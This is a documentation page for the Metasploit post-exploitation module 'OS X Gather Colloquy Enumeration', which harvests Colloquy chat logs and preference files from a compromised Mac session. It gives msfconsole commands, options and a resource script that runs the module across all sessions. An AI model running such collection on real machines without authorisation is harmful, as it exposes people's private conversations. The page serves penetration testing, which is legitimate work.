OS X Gather Colloquy Enumeration - Metasploit


This page contains detailed information about how to use the post/osx/gather/enum_colloquy metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: OS X Gather Colloquy Enumeration
Module: post/osx/gather/enum_colloquy
Source code: modules/post/osx/gather/enum_colloquy.rb
Disclosure date: -
Last modification time: 2017-07-24 06:26:21 +0000
Supported architecture(s): -
Supported platform(s): OSX
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module will collect Colloquy's info plist file and chat logs from the victim's machine. There are three actions you may choose: INFO, CHATS, and ALL. Please note that the CHAT action may take a long time depending on the victim machine, therefore we suggest to set the regex 'PATTERN' option in order to search for certain log names (which consists of the contact's name, and a timestamp). The default 'PATTERN' is configured as "^alien" as an example to search for any chat logs associated with the name "alien".

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/osx/gather/enum_colloquy

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/osx/gather/enum_colloquy
msf post(enum_colloquy) > show options
    ... show and set options ...
msf post(enum_colloquy) > set SESSION session-id
msf post(enum_colloquy) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/osx/gather/enum_colloquy")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Go back to menu.

Msfconsole Usage


Here is how the osx/gather/enum_colloquy post exploitation module looks in the msfconsole:

msf6 > use post/osx/gather/enum_colloquy

msf6 post(osx/gather/enum_colloquy) > show info

       Name: OS X Gather Colloquy Enumeration
     Module: post/osx/gather/enum_colloquy
   Platform: OSX
       Arch: 
       Rank: Normal

Provided by:
  sinn3r <[email protected]>

Compatible session types:
  Meterpreter
  Shell

Available actions:
  Name      Description
  ----      -----------
  ACCOUNTS  Collect the preferences plists
  ALL       Collect both the plists and chat logs
  CHATS     Collect chat logs with a pattern

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  PATTERN  ^alien           yes       Match a keyword in any chat log's filename
  SESSION                   yes       The session to run this module on.

Description:
  This module will collect Colloquy's info plist file and chat logs 
  from the victim's machine. There are three actions you may choose: 
  INFO, CHATS, and ALL. Please note that the CHAT action may take a 
  long time depending on the victim machine, therefore we suggest to 
  set the regex 'PATTERN' option in order to search for certain log 
  names (which consists of the contact's name, and a timestamp). The 
  default 'PATTERN' is configured as "^alien" as an example to search 
  for any chat logs associated with the name "alien".

Module Options


This is a complete list of options available in the osx/gather/enum_colloquy post exploitation module:

msf6 post(osx/gather/enum_colloquy) > show options

Module options (post/osx/gather/enum_colloquy):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   PATTERN  ^alien           yes       Match a keyword in any chat log's filename
   SESSION                   yes       The session to run this module on.

Post action:

   Name  Description
   ----  -----------
   ALL   Collect both the plists and chat logs

Advanced Options


Here is a complete list of advanced options supported by the osx/gather/enum_colloquy post exploitation module:

msf6 post(osx/gather/enum_colloquy) > show advanced

Module advanced options (post/osx/gather/enum_colloquy):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the osx/gather/enum_colloquy module can do:

msf6 post(osx/gather/enum_colloquy) > show actions

Post actions:

   Name      Description
   ----      -----------
   ACCOUNTS  Collect the preferences plists
   ALL       Collect both the plists and chat logs
   CHATS     Collect chat logs with a pattern

Evasion Options


Here is the full list of possible evasion options supported by the osx/gather/enum_colloquy post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(osx/gather/enum_colloquy) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<PEER> - <E.MESSAGE> - retrying...


Here is a relevant code snippet related to the "<PEER> - <E.MESSAGE> - retrying..." error message:

122:	    begin
123:	      out = cmd_exec(cmd).chomp
124:	    rescue ::Timeout::Error => e
125:	      tries += 1
126:	      if tries < 3
127:	        vprint_error("#{@peer} - #{e.message} - retrying...")
128:	        retry
129:	      end
130:	    rescue EOFError => e
131:	      tries += 1
132:	      if tries < 3

<PEER> - <E.MESSAGE> - retrying...


Here is a relevant code snippet related to the "<PEER> - <E.MESSAGE> - retrying..." error message:

128:	        retry
129:	      end
130:	    rescue EOFError => e
131:	      tries += 1
132:	      if tries < 3
133:	        vprint_error("#{@peer} - #{e.message} - retrying...")
134:	        retry
135:	      end
136:	    end
137:	  end
138:	

Please specify an action


Here is a relevant code snippet related to the "Please specify an action" error message:

136:	    end
137:	  end
138:	
139:	  def run
140:	    if action.nil?
141:	      print_error("Please specify an action")
142:	      return
143:	    end
144:	
145:	    @peer = "#{session.session_host}:#{session.session_port}"
146:	    user = whoami

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • sinn3r

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.